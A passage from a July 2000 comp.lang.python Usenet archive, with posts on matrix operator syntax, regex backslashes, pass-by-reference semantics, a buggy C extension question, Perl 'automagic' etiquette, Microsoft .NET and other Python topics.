    http://www.validgh.com/java/
      (Of course, I recommend Dr. Kahan's slides, available there)
  Some Matlab-related:
    http://www.cs.berkeley.edu/~wkahan/MxMulEps.pdf
    http://www.cs.berkeley.edu/~wkahan/Cantilever.pdf
    http://www.netlib.org/na-digest-html/99/v99n43.html#2
      (and previous issues of na-digest)
  Great IEEE754 feature rationale:
    http://www.cs.berkeley.edu/~wkahan/ieee754status/ieee754.ps

 -    - How to deal with left division?

How to compute it?  Iterative or direct?  With what pivoting 
strategy if direct, or preconditioning if iterative?  For which 
matrix sizes?  What about symmetric matrices?  Treating them as 
unsymmetric adds a _lot_ of error.

 -    - How to deal with power?  It is already two characters

How to define power?  In the matrix^scalar case, are you going to
use the eigenvalues or calculate it explicitly?  There are huge
differences in both numeric behavior and performance.  Which to
use depends on matrix size...

Matrix^matrix does exist, but it's terribly difficult to calculate
and almost never used.  (I think.  Could be wrong.)

 -    - Do we want a copy operator := which is different from =?  It allows
 -      efficient code.  The following code does not change A
 -          B := A
 -          B += C

Neither does B = A + C.  And := is already a horribly overloaded
symbol in the literature.  Sometimes it means definition (aliasing,
referencing), sometimes it means assignment (copying).  Blah.

 -      This definitely will be usable for other classes. Call it __copy__?

Deep or shallow?  Letting it up to the class involved makes it
unpredictable, so it shouldn't be an operator.

 - These are the things that come to mind.  Now, opinions, please.

Please don't rush to a syntax before you have a semantics.  Sorry for
the length of this, but all I've seen to far is discussion over what
syntax to use for various undefined operations.  That bothers me.
It's how Matlab started, and now they're trying to drag it back
out of its craziness.  Getting hit by an odd numerical bug doesn't
happen often, but when it does things blow up or get recalled in
huge numbers...  Seriously, debuging numerical problems is painful
even for most numerical analysts.  It's better to try to prevent 
them.

There's the possibility of Python being _better_ than Matlab, Octave, 
SciLab, etc. and not just being equal to them.

Jason


From kpmurphy at my-deja.com  Wed Jul  5 10:35:39 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Wed, 05 Jul 2000 14:35:39 GMT
Subject: backslash in regular expression problem
References: <394A55BA.69269793@wolfson.co.uk> <02de01bfd826$cf05bd80$6401a8c0@home> <8jivfr$qc2$1@nnrp1.deja.com> <m3g0pu7kix.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <8jvh3p$9mg$1@nnrp1.deja.com>

how does re.escape help?

>>> str = '\\\hi'
>>> str
'\\\\hi'
>>> print str
\\hi
>>> import re
>>> x = re.escape(str)
>>> x
'\\\\\\\\hi'
>>> print x
\\\\hi
>>>

i want to display the actual string, and also be able to write it to a
file...  thanks,

keith

In article <m3g0pu7kix.fsf at atrus.jesus.cam.ac.uk>,
  Michael Hudson <mwh21 at cam.ac.uk> wrote:
> Keith Murphy <kpmurphy at my-deja.com> writes:
>
> > what if instead of having '\\stuff' you have a str = '\\stuff'  ?
> >
> > i know that you can print r'\\stuff' but you can't print rstr...
> >
> > how do you use the raw with a variable?
>
> You don't.  You do know about re.escape?  Asking that question
> suggests you might not...
>
> Cheers,
> M.
>
> --
>   I saw `cout' being shifted "Hello world" times to the left and
>   stopped right there.                                -- Steve Gonedes
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From jblaine at kickflop.ne.mediaone.net  Thu Jul 13 21:37:23 2000
From: jblaine at kickflop.ne.mediaone.net (Jeff Blaine)
Date: Fri, 14 Jul 2000 01:37:23 GMT
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <slrn8msrkq.7cg.jblaine@kickflop.ne.mediaone.net>

>I am having a problem with the atof function. I tried to convert 1,142.00 to
>a float but the comma causes a problem. I resolved the problem by removing
>the comma but there must be a better way.

I'm pretty sure you did it the Right Way.

Numbers containing commas are there for readability purposes by humans.

It's just a call to string.replace() to get rid of the comma... (or several
other ways to do the same thing).


From owen at astroNOJNK.washington.edu.invalid  Fri Jul 21 12:51:00 2000
From: owen at astroNOJNK.washington.edu.invalid (Russell E. Owen)
Date: Fri, 21 Jul 2000 09:51:00 -0700
Subject: searching for multiple strings in one pass
References: <8l7db8$v3g$1@nnrp1.deja.com>
Message-ID: <8l9v1k$1tf0$1@nntp6.u.washington.edu>

In article <8l7db8$v3g$1 at nnrp1.deja.com>, ghost_man at my-deja.com wrote:

>I am stuck on a problem here where I am using python to grab a large
>amount of info from a database.  I am then using python to pass command
>line parameters to some program based on file names.  I only want to
>run on certain file types such as files ending with .hpp or .cpp or
>whatever.  The problem is how can I do searches for multiple file types
>in one pass rather than having to run through the entire list several
>times?  Here is a sample of how I am doing it now....
>
>hpp = string.find(newline,".hpp")
>	if hpp > 0:
>		k = (creating argumenthere)
>		os.system (k)
>
>How do I check for several file types in one pass?

Not knowing the details of the data you're parsing, two ways come to 
mind. There are undoubtedly others.

1) Use regular expressions, i.e. the "re" module. In the example you 
gave, you could look for:
      \.(?P<ext>(hpp)|(cpp)|(etc))
to match the extension. (?P<ext>...) labels the found text; if you call 
the groupdict() method on the match object, you'll get a dictionary, one 
of whose keys is "ext" -- the found extension.

If the file name is buried in the line (rather than being all of it) and 
you need it, you can extract the entire file name in the same regular 
expression. And I'm pretty sure those labelled subexpressions nest, so 
you can get the entire file name and the extension at the same time.

2) If the file names appear in an obvious place in string (such as each 
string is a file name all by itself), then another approach to consider 
is string.split to split up the file names into names and extensions and 
then just an if statement on the extension. For example:
   partlist = split(newline, ".")
   ext = partlist[-1]
    if ext in ["hpp", "cpp", ...]:

Regards,

-- Russell


From python-list at teleo.net  Tue Jul 11 10:35:53 2000
From: python-list at teleo.net (Patrick Phalen)
Date: Tue, 11 Jul 2000 07:35:53 -0700
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <0007110745530Z.03526@quadra.teleo.net>

[Tony J Ibbs (Tibs), on Tue, 11 Jul 2000]
:: The PJama (persistent Java) people regard a mainstream persistent language
:: as a killer-app, allowing a major revolution in how people program. It's the
:: sort of thing that I find quite exciting, because it's a different
:: programming paradigm - no more worrying about database startup/shutdown,
:: crafting little save files, etc. And yet here is Python with ZODB which
:: looks like it does a good part of what the PJama people are aiming at (as
:: Martijn said a couple of messages ago), and I hadn't really heard of it.
<snip>
:: So, why isn't this better known? Is it just that Python is too good at too
:: many things? Maybe we need a page of "clever things Python does that other
:: people think are hard", or "important buzzword compliances by application",
:: on the PythonLabs site...

Great idea! Also, I think a lot more people have been arriving on the
Python doorstep recently, simply because more users have been writing
short introductory articles about aspects of Python and getting them
published in various targetted magazines, scholarly reviews and ezines.
You might consider doing the same in your own field.

:: [It would help if this was all more evident from the Zope site, as well,
:: though. Talk about hard to navigate round.]

Unfortunately true.
:: 
:: Tibs, all excited again

Your excitement is infectious! Infect someone who doesn't know about
Python! ;-)



From weeks at golden.dtc.hp.com  Tue Jul 25 21:10:15 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 26 Jul 2000 01:10:15 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com>
Message-ID: <8lldpn$n7a$1@news.dtc.hp.com>

(Greg Weeks) (weeks at golden.dtc.hp.com) wrote:
: I prefer the old way of speaking.  With the new way of speaking, both
: Python and Perl are "pass by reference", but Perl is somehow *more* so.

If it isn't clear what I mean, here's some Perl:

    sub f
    {
        $_[0] = 42;
    }

    $x = 1;
    f($x);
    print "$x\n";		# PRINTS 42

and the corresponding Python:

    def f(a):
	a = 42

    x = 1
    f(x)
    print x			# PRINTS 1

Good Python!  Bad Perl!

Greg


From bjorn at roguewave.com  Wed Jul 19 14:11:02 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 19 Jul 2000 12:11:02 -0600
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com> <3975FF92.1B031588@schneider-kamp.de>
Message-ID: <3975EF36.1651C9CB@roguewave.com>

Peter Schneider-Kamp wrote:
> 
> Okay, assume you call it "merge". What will somebody who
> doesn't know what it's for think it does?
> 
> merge([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]
> 
> or
> 
> merge([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]?

Point taken.

> Where's your problem with zip?

Not a problem really, although my first association was "why would we
want to iterate over a compressed sequence..." <wink>

-- bjorn



From mranga at nist.gov  Fri Jul 28 19:26:34 2000
From: mranga at nist.gov (M. Ranganathan)
Date: Fri, 28 Jul 2000 23:26:34 -0000
Subject: QUESTION: COM objects in python? 
Message-ID: <8lt4ra+sgp4@eGroups.com>

Hello,

Another question from a newbie...

I would like to build an application server object and export a COM
interface for it so others can use my component. I would like to use
python to do this. Is this possible / easy to do? If so, where can I
look to find how to do this? 

I know that the opposite is possible (i.e. call com interfaces from
python).

Thank you in advance for your replies.

Ranga.




From gjm11 at g.local  Mon Jul 17 16:27:16 2000
From: gjm11 at g.local (Gareth McCaughan)
Date: Mon, 17 Jul 2000 21:27:16 +0100
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com> <396FABF3.B82E0C2@roguewave.com> <slrn8mvbt9.rl.hzhu@rocket.knowledgetrack.com> <slrn8n1pv6.utl.gjm11@g.local> <slrn8n594t.n88.hzhu@rock.localdomain>
Message-ID: <slrn8n6r14.1ngn.gjm11@g.local>

Huaiyu Zhu wrote:

>>> How would you write this in list compresension (in less than 10 lines)?
>>> 
>>> B*(sin(A*x+b).*(A*y)/3)/C
>>> 
>>> Note that * is matrix multiplication and .* is elementwise.  Note that C is
>>> a matrix so the / is matrixwise.  If you want to write everything as for
>>> loops it takes at least 30 lines, without any decent error analysis.
>>
>>    B*[p*q/3 for p in A*x+b, q in A*y]/C
> 
> Someone else had already given a similar answer.  But more work is needed
> for such things to work:
> 
> The x, b and y could be matrices, so p and q need to be double loops.

Only if you implement matrices as lists of lists, in which
case operations like * and / won't work anyway. I was assuming
that (1) you have a special Matrix class, and (2) the machinery
for list comprehensions is flexible enough to let it express
other kinds of mapping.

> The [ ... ] need to be a double lists.  Is list comprehension defined for
> this?

It doesn't even exist yet. :-)

I repeat that I'm assuming that there's mechanism for doing
"comprehension" on aggregate objects other than lists, so
that [f(p) for p in FOO] can be made to build a copy of FOO
with the operation f applied to its elements. I think this
is the Python Way (consider e.g. the fact that it does
tuple indexing and list indexing and dictionary indexing
all with a uniform syntax).

> B*[..]/C would not work without a cast from double list to matrix.

Not if my assumption above is correct.

> For all these errors, what would the error messages look like?  Do they
> involve the dummy indices p and q?  A previous answer also reused the name b
> for the dummy variable, which would make the error even more obscure.

These are not errors unless my (perfectly reasonable) assumptions
turn out to be false.

> Besides, the main point of using matrix is to be free from specifying loops
> over indices with dummy names.  Compare this double loop with extra syntax
> with a single operator .* and you may wonder why this is considered at all.

And compare the cumbersome expression above with the much simpler
  &
which I have just defined to mean what you write as
"B*(sin(A*x+b).*(A*y)/3)/C". It's easy to make things
look neater by adding syntactic sugar, provided you're
doing it to only one smallish class of things at a
time. But there's such a thing as too much syntactic
sugar. One design decision that's pretty fundamental
to Python is that there's very little syntactic sugar;
if you prefer a language that goes the other way, you
can always try APL or J. They're pretty good with
matrices, too. :-)

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From rgparker at west.net.bbs  Mon Jul 17 21:10:01 2000
From: rgparker at west.net.bbs (rgparker at west.net.bbs)
Date: 18 Jul 2000 01:10:01 GMT
Subject: Does Python support interfaces?
Message-ID: <3bRVdQ$kTp@openbazaar.net>

I'm quite new to Python. For those who are familiar with Java interfaces:
Does Python have a similar facility?

Can one declare interfaces, then declare that a class implements some
interface, instantiate an object of that class type, and then cast it to
an interface that it is declared to support and then pass it around as a
reference to that interface type and make calls to methods of that
interface type?


From cjc26 at nospam.cornell.edu  Sun Jul 23 10:34:57 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Sun, 23 Jul 2000 14:34:57 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org> <u1z0oeall.fsf@ctwd0143.fitlinxx.com> <slrn8nhd0o.j4i.cjc26@synecdoche.sowrong.org> <uaefbytsr.fsf@ctwd0143.fitlinxx.com>
Message-ID: <slrn8nm0rh.pod.cjc26@synecdoche.sowrong.org>

* David Bolen <db3l at fitlinxx.com> menulis:
| 
| > That doesn't seem to be true--readlines() reads the whole file whether
| > you specify a size argument or not.  For example:
| 
| You might want to try a larger sample - readlines() is documented that
| the size value is a hint - it might be rounded up to some internal
| buffer size, which I could easily imagine as being a few K.
| 
| At least on Windows, with Python 1.5.2, it appears to work in
| multiples of about 8K.  That is, size values are rounded up to the
| next multiple of 8K, and the total size of information returned will
| be somewhat shy of that multiple depending on line length since it
| only returns full lines.

Ugh, you're right (I checked fileobject.c to make sure).  That makes
readlines() a lot less useful than I thought it was..:(

I guess in that case you would want something like xreadlines() (lazy
readlines) then.  Below is a post I saved from a little over a year ago,
which describes one way to implement xreadlines() and other lazy
iterators.  (I would've provided a link to Deja instead, but it seems
their "archive" doesn't go back far enough to have this post..:P )


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166

----------


From alex at magenta.com  Sun Jul 30 09:17:40 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 15:17:40 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com>
Message-ID: <8m1evr32n4o@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o745t.fjt.grey at teleute.rpglink.com...
> On Sat, 29 Jul 2000 22:18:31 GMT, Joshua Macy <amused at webamused.com>
wrote:
> >  So it's not the term itself you find offensive, but the way it's
> >used?  It sounds to me like what you're objecting to is the mere fact
> >that some people dislike the behavior that Larry Wall calls "automagic",
    [snip]
>     Whoops, guess it isn't in some contexts, now is it?  What I object to
is
> their stating that it is a bad thing when it is not, it is just different,
and

So Joshua has it exactly right: you find it *offensive* that people
consider 'automagic' (wild-ass-guessing by the system, based on
insufficient or ambiguous context) a technically inferior approach
to do-what-I-tell-you-DON'T-silently-second-guess-me?!  And you
think that if people express this technical judgment, this justifies
your being rude about them?!

> that was a term that I was unfamiliar with that they were clearly using in
the
> negative based on context.

If you don't know that Larry Wall, the father of Perl, has coined
(I think; at least, enthusiastically adopted) this term to describe
what Perl does in a zillion cases, then you can hardly consider
that lack of knowledge on your part a good and sufficient justification
for rudeness against people using that term, it seems to me.  Your
error may be understandable, but now that you're aware of it, it
would appear that a courteous apology is in order.

Expressing technical judgment is what a technical discussion group
is all about, after all; and using the same term as a language's
inventor does, to describe that language's behaviour, is also hardly
reprehensible, is it?  So, the people thus behaving found themselves
collectively insulted while having done absolutely nothing wrong.
That's why I believe that, once this is realized, apologizing would
display courtesy.  But, of course, this is an etiquette issue, not
one of technical content (some of the best programmers I know, though
not most of them, are people I find exceedingly rude anyway:-).


Alex





From bdupire at seatech.fau.edu  Thu Jul  6 10:53:16 2000
From: bdupire at seatech.fau.edu (bdupire)
Date: Thu, 06 Jul 2000 10:53:16 -0400
Subject: Setting a C-structure from Python
Message-ID: <39649D5C.F1652171@seatech.fau.edu>

I already posted this message on www.deja.com but as it doesn't appear
in the newsgroup, I repost it here.

My aim is to write an extension module to access functions in C which
"get" and "set" some structures from/in shared memory.

 In order to do this, I implemented the following programs:
 *    structure.py
 *    test_API.c

 It works well when I set the structure the first time, but not a second
time I have got the following (run-time) error... did I miss something?


 >>> import structure
 The structure is now:
 name Benoit
 age 22
 rate 3.141500


 Traceback (innermost last):
   File "<stdin>", line 1, in ?
   File "structure.py", line 19, in ?
     test_API.setstruct(packed)
 TypeError: argument 1: expected string,
                                         found




 I am working with Python 1.5.2 on QNX 4.25
test_API.c  is therefore statically linked with Python as dynamic
linking is not possible on QNX.



 file : structure.py
 -----------------------------------------

 import struct
 import test_API

 #1st  try
 fmt="20sif"
 a="Benoit"
 b=22
 c=3.1415
 packed=struct.pack(fmt,a,b,c)
 test_API.setstruct(packed)

 #2nd try
 a="Ben"
 b=23
 c=3.1417
 packed=struct.pack(fmt,a,b,c)
 test_API.setstruct(packed)


 file: test_API.c
 --------------------------------------
 #include <stdio.h>
 #include "Python.h"

 typedef struct{
 char  name[20];
 int  age;
 float  rate;
 } examplestruct;


 examplestruct * example;


 static void  print_struct()
 {
 printf("The structure is now: \n");
 printf("name %s\n",example->name);
 printf("age %i\n",example->age);
 printf("rate %f\n", example->rate);
 }


 static PyObject * test_setstruct(PyObject * self, PyObject * args) {
 PyObject * string_from_python;

 if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;

 example= (examplestruct *) PyString_AsString(string_from_python);
Py_DECREF(string_from_python);
 print_struct();

 Py_INCREF(Py_None);
 return Py_None;
 }


 static PyObject * test_getstruct(PyObject * self, PyObject * args) {
 /* if there are any arguments */
 if (!PyArg_NoArgs(args))
   return NULL;
 return PyString_FromString(example);
 }


 /*************************************************************
 METHOD REGISTRATION TABLE
 List of functions defined in the module
 *************************************************************/
 static struct PyMethodDef test_API_methods[] = {
 {"setstruct", test_setstruct, 1},
 {"getstruct", test_getstruct, 1},
 {NULL,  NULL}
 };

 /*************************************************************
 Initialization function
 *************************************************************/
 void inittest_API()
 {
   PyObject *m, *d;

   /*create the module and add the functions */
   m= Py_InitModule("test_API", test_API_methods);

   /* add symbolic constants to the module */
   d= PyModule_GetDict(m);

   if (PyErr_Occurred())
   Py_FatalError("can't initialize module test_API\n"); }





From wtanksle at dolphin.openprojects.net  Wed Jul 26 15:41:01 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Wed, 26 Jul 2000 19:41:01 GMT
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net> <kdrf5.1533$ck7.387726@nntp1.onemain.com>
Message-ID: <slrn8nufmc.3kn.wtanksle@dolphin.openprojects.net>

On Tue, 25 Jul 2000 20:50:05 -0500, Mark Baker wrote:
>wtanksle at dolphin.openprojects.net (William Tanksley) wrote:

>>>Also, how do I print without a new line other than using
>>>sys.stdout.write?

>> Why?  Is there something in specific you're trying to avoid?  (Yes, it's
>> possible, but it's not pretty.)

>print 'bob',

>That's not "pretty," but it's also not so ugly as to not tell him how to
>do it.

Ah.  I'd forgotten about that.  You're right, that's not as bad as the one
I was thinking of.

I'm still curious as to why sys.stdout.write is so bad.

-- 
-William "Billy" Tanksley


From thor at localhost.localdomain.bbs  Sun Jul 16 14:20:10 2000
From: thor at localhost.localdomain.bbs (thor at localhost.localdomain.bbs)
Date: 16 Jul 2000 18:20:10 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bQVV9$l8E@openbazaar.net>

On Fri, 14 Jul 2000 16:33:29 GMT,tgdeveloper at my-deja.com> wrote:
>For me the top language constructs, in terms of being useful in daily work
>are:
>
>1. dictionaries
>
>2. lists / tuples
>
>3. for item in list:
>
>4. "blah blah %s blah %d blah" % (word, number)
>
>5. exception handling (try/except/raise etc.)
>
>6. the fact that data types can be nested (e.g. a dictionary whose key is a
>string and whose value is another dictionary, etc.)
>
>7. The "traceback" behavior for reporting errors.  This makes debugging easy.
>



This is are the tops language constructs for me.

1. self.whatever

1.5. import whatever

2. The assignation a = b

3. for i in list :

4. return whatever

5. class a(base)

6. dictionaries

7. xrange/range tricks

8. try/except

9. eval

 

--
MGA


From rvollmert at gmx.net  Sun Jul  9 18:14:45 2000
From: rvollmert at gmx.net (Robert Vollmert)
Date: Mon, 10 Jul 2000 00:14:45 +0200
Subject: operator ** and  pow function behaves differently
In-Reply-To: <3968F0F1.428553BB@mindspringdot.com>; from anupamk@mindspringdot.com on Sun, Jul 09, 2000 at 05:38:58PM -0400
References: <3968F0F1.428553BB@mindspringdot.com>
Message-ID: <20000710001445.B1504@krikkit>

> i am a newbie in the python world. from my understanding so far,
> i thought that ** operator and pow functions are symmetrical. but
> apparently i was wrong, e.g. -1**0 yields -1 but pow(-1,0) yields
> 1 (which is correct).

They basically are symmetrical (except for the optional third
argmument to pow...). Try (-1)**0. It's only that ** binds more
strongly than negation.

-- 
Robert Vollmert                                      rvollmert at gmx.net



From MarkH at ActiveState.com  Wed Jul 26 20:24:51 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 00:24:51 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl>
Message-ID: <njLf5.12964$4p3.101185@news-server.bigpond.net.au>

"Cees de Groot" <cg at gaia.cdg.acriter.nl> wrote in message
news:8ln84n$380$1 at gaia.cdg.acriter.nl...

> ...and is soooo innovative that it does exactly the same thing as Java
> and the JVM, only five years later and at the vaporware stage.

vaporware == beta distributed to thousands of people?  Since when?
Anyway...

I think you should wait for the jury on this one.  There are alot of
academics who have ported their languages to both the JVM and the .NET
runtime.

It is safe to say that no one I have met with experience in both these
technologies shares your opinion.

People obviously _do_ share some general concerns about MS, but if you
limit yourself to a discussion on the technical merits of these
technologies, you wont find many people on your side of the debate.

Watching the reactions of the dyed-in-the-wool-MS-hating-academics was
almost the most interesting part of this project.  Suffice it to say they
started the project with their "Tux" t-shirts being worn proudly every
(single, smelly :-) day, but by the time the PDC came around they were
first in the queue for their .NET tshirts ;-)

> (http://grunge.cs.tu-berlin.de/~tolk/vmlanguages.html, support /that/
many
> stuff on your little VM, M$).

I am sure they will, and I am sure the majority of language implementors
will agree it is an improvement (again, if viewed purely from technical
grounds)

> ... happily going back to Java, Python, SmallTalk, Scheme, XML and
whatnot

Not sure what point you are trying to make here?  These, plus others, are
also on .NET.  You should have listed languages that people have heard of,
and are not announced for .NET.  Maybe you had the "TRS-80 Model 1 BASIC
Interpreter" implementation in mind?

Mark.




From robin at jessikat.fsnet.co.uk  Wed Jul 26 06:02:01 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 26 Jul 2000 11:02:01 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <397C9207.EC0528AA@eecis.udel.edu> <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr>
Message-ID: <OPUSUJAZcrf5EwV5@jessikat.fsnet.co.uk>

In article <m3lmypfdwe.fsf at chinon.cnrs-orleans.fr>, Konrad Hinsen
<hinsen at cnrs-orleans.fr> writes
>
...
>> 1. MatPy currently does a pretty good job of addressing many of
>> the concerns for linear algebra.  The syntax for inverse (A.I())
>> and transpose (A.T()) are both simple and allow for class specific
>> implementations (e.g. for a triangular matrix).
>
>You raise an important point: adding operators may not be the best
>solution at all.
>
>With the ongoing rework of NumPy that turns arrays into Python classes
>with an underlying C implementation, it would be possible to have an
>"array" and a "matrix" class with different semantics, but sharing
>most of the code and having equal performance. Conversion between the
>two would also be possible at basically no cost, and C modules could
>be written to accept both.
>
>Having two different classes with different semantics is perfectly
>normal in Python. It would only be a problem if there were important
>application domains that require both semantics mixed together, but I
>am not aware of such domains.

I like these ideas a lot. I could have my matrices do what I normally
want with just plain *.
-- 
Robin Becker


From hzhu at localhost.localdomain.bbs  Mon Jul 17 14:40:03 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 18:40:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRLW5$kWA@openbazaar.net>

On Mon, 17 Jul 2000 12:27:31 -0600, Bjorn Pettersen <bjorn at roguewave.com> wrote:

>Perl, C++, Visual Basic, Java, and probably also Tcl are all more
>popular than Python. Are you suggesting we should add their special
>syntaxes/quirks just because a lot of people know them?

I think the argument based on userbase or specific domain were first invoked
by those who oppose adding the operators.  This just shows that such
arguments are unreliable, whether correct or not.

As to the claim that additional operators for linear algebra is somehow
comparable to the special syntaxes/quirks of various programming languages,
no real argument has been presented so far.  It's more like: If I don't care
and don't use such things, they must belong to a special domain and be
somehow comparable to some other things that I do know and dislike.

On the other hand, alternative arguments based on analysis of functionality,
overall design, history of evolution and possible future extension, etc,
would carry some real persuasive weight.

Huaiyu


From pduffin at hursley.ibm.com  Fri Jul 28 05:44:34 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Fri, 28 Jul 2000 10:44:34 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl> <njLf5.12964$4p3.101185@news-server.bigpond.net.au> <S1Z1K6AQMBg5EwNZ@jessikat.fsnet.co.uk> <3dittrsdhl.fsf@kronos.cnri.reston.va.us>
Message-ID: <39815602.18CCB9A0@hursley.ibm.com>

Andrew Kuchling wrote:
> 
> Robin Becker <robin at jessikat.fsnet.co.uk> writes:
> > This IL stuff is not a big deal intellectually so why doesn't M$ just
> > release the language definition and sources and let the big & small guys
> > play?
> 
> It would certainly be interesting to see a spec for MSIL and CLR, in
> order to gauge the complexity of writing an independent
> implementation.  It might provide a decent chance of unifying the
> hopelessly fragmented state of scripting languages on Unix.
> 

This is exactly what Jean-Claude Wippler has been trying to do for ages. I
don't know if you remember Minotaur but it is conceptually the same as .NET
except that it used Forth as the lowest layer (the IL).

I have had a look at .NET at it seems really neat, if only it was not
proprietary and worked across multiple platforms. If that was so then it
would probably replace JVMs and Java would be just another language you 
could choose to use, rather than one you have to use because of the hype.


From musingattheruins at my-deja.com  Mon Jul 17 16:59:55 2000
From: musingattheruins at my-deja.com (musingattheruins at my-deja.com)
Date: Mon, 17 Jul 2000 20:59:55 GMT
Subject: Again: ODBC / Win98 -> crash
References: <7BD10B680501D411B9DF009027E06F32011AE8@EXCHANGE>
Message-ID: <8kvs3u$c4m$1@nnrp1.deja.com>

i have installed the most recent mdac 2.5 and now cannot connect to any
DSNs with ADO!!! and cannot make DSN-less connections with ADO!!!

  tried rolling back to 2.1 (nope... component checker reports v 2.5)
+ re-install 2.5
+ re-install python 1.5.2
+ re-install python win32 all
+ try again
--------------------------------
 NFG

no solution yet... _if_ i find one i will post it.

bill :-(

> >Now for a really strange thing: I just moved my script to a different
> >computer (almost identical configuration), and... - everything works
> >just fine! No crashes, no problems whatsoever. I hate computers.
>
> Maybe the machine it crashed on had Office 2K installede recently ???
and
> the one that doesn't crash hasn't or something like that. The
combination of
> Win2k, Office2000/97 has caused me no end of grief.
>
> Try installing the newest version of mdac on your machine. (should
not be
> needed on win 2K).
>
> Also check your security settings and r/w acces. Combinations of
these two
> has helped me before.
>
> Regards Max M
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From kpmurphy at my-deja.com  Tue Jul 25 15:28:44 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 25 Jul 2000 19:28:44 GMT
Subject: tkinter: canvas: error?
Message-ID: <8lkpp5$3qp$1@nnrp1.deja.com>

is this a bug?  ...or is it a feature :)

bbox = (80, 80, 120, 120)
canvas = Canvas()
canvas.pack()
canvas.create_rectangle(bbox, fill='black', tag='mybox')
canvas.coords(1, bbox)

Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 1205, in
coords
    self.tk.splitlist(
TclError: wrong # coordinates: expected 0 or 4, got 1

thanks,
-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From weeks at golden.dtc.hp.com  Thu Jul 27 18:27:37 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 27 Jul 2000 22:27:37 GMT
Subject: "always passes by reference"
References: <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com>
Message-ID: <8lqd0p$snj$1@news.dtc.hp.com>

Tim Peters (tim_one at email.msn.com) wrote:
: [Greg Ewing] 
: > Whether you call it that or not, there has to be something
: > in the model that is not-the-object but somehow identifies-
: > the-object, so that the object can appear in more than one
: > place at a time without having multiple copies of it.

Yes, but this something exists in spoken languages as well as computer
languages, and it is confusing to create new nomenclature for it.


1.  Please consider words in the English language.  Suppose (for the sake
of argument) that there are 500,000 English words.  If I now write the word
"dog" 10 times

    dog dog dog dog dog dog dog dog dog dog

have I added 10 words to the English language?  No.  The writing of a word
